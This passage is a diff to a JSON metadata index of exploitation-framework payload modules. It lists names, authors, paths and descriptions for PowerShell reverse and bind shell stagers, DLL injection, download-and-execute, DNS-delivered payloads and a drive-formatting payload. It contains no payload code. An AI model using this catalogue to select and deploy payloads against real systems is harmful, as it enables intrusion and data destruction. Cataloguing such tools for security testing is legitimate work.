"sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_hop_http": { + "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_hop_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "scriptjunkie ", + "bannedit ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_hop_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_http": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ord_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "spoonm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_ord_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_allports", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_allports", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_dns", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "aliases": [ + ], - "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "aliases": [ + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179144,10 +188172,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_perl", + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -179156,9 +188184,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/bind_perl_ipv6": { - "name": "Windows Command Shell, Bind TCP (via perl) IPv6", - "fullname": "payload/cmd/windows/bind_perl_ipv6", + "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_winhttp", "aliases": [ ], @@ -179166,11 +188194,48 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz ", - "aushack " + "Spencer McIntyre", + "sf ", + "hdm ", + "Borja Merino " ], - "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dns_txt_query_exec": { + "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", + "fullname": "payload/cmd/windows/powershell/dns_txt_query_exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "corelanc0d3r " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned payload", "references": [ ], @@ -179180,10 +188245,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_perl_ipv6", + "ref_name": "cmd/windows/powershell/dns_txt_query_exec", "check": false, "post_auth": false, "default_credential": false, @@ -179192,9 +188257,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/bind_ruby": { - "name": "Windows Command Shell, Bind TCP (via Ruby)", - "fullname": "payload/cmd/windows/bind_ruby", + "payload_cmd/windows/powershell/download_exec": { + "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", + "fullname": "payload/cmd/windows/powershell/download_exec", "aliases": [ ], @@ -179202,9 +188267,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Spencer McIntyre", + "corelanc0d3r " ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", + "description": "Execute an x86 payload from a command via PowerShell.\n\nDownload an EXE from an HTTP(S)/FTP URL and execute it", "references": [ ], @@ -179214,10 +188280,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_ruby", + "ref_name": "cmd/windows/powershell/download_exec", "check": false, "post_auth": false, "default_credential": false, @@ -179226,9 +188292,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/download_eval_vbs": { - "name": "Windows Executable Download and Evaluate VBS", - "fullname": "payload/cmd/windows/download_eval_vbs", + "payload_cmd/windows/powershell/exec": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/exec", "aliases": [ ], @@ -179236,9 +188302,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "scriptjunkie" + "Spencer McIntyre", + "vlad902 ", + "sf " ], - "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ ], @@ -179248,10 +188316,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/download_eval_vbs", + "ref_name": "cmd/windows/powershell/exec", "check": false, "post_auth": false, "default_credential": false, @@ -179260,9 +188328,49 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/download_exec_vbs": { - "name": "Windows Executable Download and Execute (via .vbs)", - "fullname": "payload/cmd/windows/download_exec_vbs", + "payload_cmd/windows/powershell/format_all_drives": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/format_all_drives", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ashfaq Ansari ", + "Ruei-Min Jiang " + ], + "description": "Execute an x86 payload from a command via PowerShell", + "references": [ + "URL-http://hacksys.vfreaks.com/research/shellcode-of-death.html", + "URL-https://github.com/hacksysteam/ShellcodeOfDeath" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/format_all_drives", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "AKA": [ + "ShellcodeOfDeath" + ] + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/generic/debug_trap": { + "name": "Powershell Exec, Generic x86 Debug Trap", + "fullname": "payload/cmd/windows/powershell/generic/debug_trap", "aliases": [ ], @@ -179270,9 +188378,81 @@ "disclosure_date": null, "type": "payload", "author": [ - "scriptjunkie" + "Spencer McIntyre", + "robert " ], - "description": "Download an EXE from an HTTP(S) URL and execute it", + "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a debug trap in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/generic/debug_trap", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/generic/tight_loop": { + "name": "Powershell Exec, Generic x86 Tight Loop", + "fullname": "payload/cmd/windows/powershell/generic/tight_loop", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jduck " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a tight loop in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/generic/tight_loop", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/loadlibrary": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/loadlibrary", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell", "references": [ ], @@ -179282,10 +188462,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/download_exec_vbs", + "ref_name": "cmd/windows/powershell/loadlibrary", "check": false, "post_auth": false, "default_credential": false, @@ -179294,9 +188474,242 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/generic": { - "name": "Windows Command, Generic Command Execution", - "fullname": "payload/cmd/windows/generic", + "payload_cmd/windows/powershell/messagebox": { + "name": "Powershell Exec, Windows MessageBox", + "fullname": "payload/cmd/windows/powershell/messagebox", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "corelanc0d3r ", + "jduck " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawns a dialog via MessageBox using a customizable title, text & icon", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/messagebox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": 